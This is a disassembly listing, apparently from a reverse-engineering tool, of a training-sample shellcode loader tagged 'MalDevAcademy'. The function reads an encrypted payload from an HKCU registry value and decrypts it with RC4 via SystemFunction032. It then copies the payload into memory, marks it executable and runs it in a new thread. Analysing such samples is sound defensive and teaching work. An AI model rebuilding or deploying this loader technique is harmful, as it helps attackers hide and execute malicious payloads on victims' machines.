Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x70], rax
lea rcx, str.___Press__Enter__To_Read_The_Shellcode_From_The_Registry...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str._i__Reading_Shellcode_...
call fcn.140001010
xor ebp, ebp
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea r8, str.MalDevAcademy
mov qword [rsp + 0x28], rbp
lea rdx, str.Control_Panel
mov r9d, 0xffff
mov qword [rsp + 0x20], rbp
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x40], ebp
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x14000110b
lea rcx, str.____RegGetValueA_Failed_With_Error_:__d_n
mov edx, eax
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001352
mov ebx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x14000114a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d_n
call fcn.140001010
lea eax, [rbx - 1]
jmp 0x140001352
lea rax, [rsp + 0x40]
mov r9d, 0xffff
mov qword [rsp + 0x30], rax
lea r8, str.MalDevAcademy
mov qword [rsp + 0x28], rbx
lea rdx, str.Control_Panel
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1400010f3
mov esi, dword [rsp + 0x40]
lea rcx, str.___DONE__n
call fcn.140001010
mov r8, rbx
lea rcx, str.___Payload_Of_Size___d__Read_At_:_0x_p__n
mov edx, esi
call fcn.140001010
lea rcx, str.___Press__Enter__To_Decrypt_The_Shellcode_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str._i__Decrypting_Shellcode_...
call fcn.140001010
lea rax, [0x140005078]
mov dword [rsp + 0x48], 0x10
lea rcx, str.Advapi32
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x4c], 0x10
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x5c], esi
mov qword [rsp + 0x60], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x58]
call rax
test eax, eax
je 0x140001234
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
mov edx, eax
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001352
lea rcx, str.___DONE__n
call fcn.140001010
mov r9d, 4
mov dword [rsp + 0x68], ebp
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x14000127f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_Failed_With_Error_:__d__n
call fcn.140001010
lea eax, [rdi - 1]
jmp 0x140001352
mov rdx, rdi
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.140001010
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rsi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x68]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400012df
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect_Failed_With_Error_:__d__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001352
lea rcx, str.___Press__Enter__To_Run_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
mov r8, rdi
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x14000132a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001352
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140001390
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret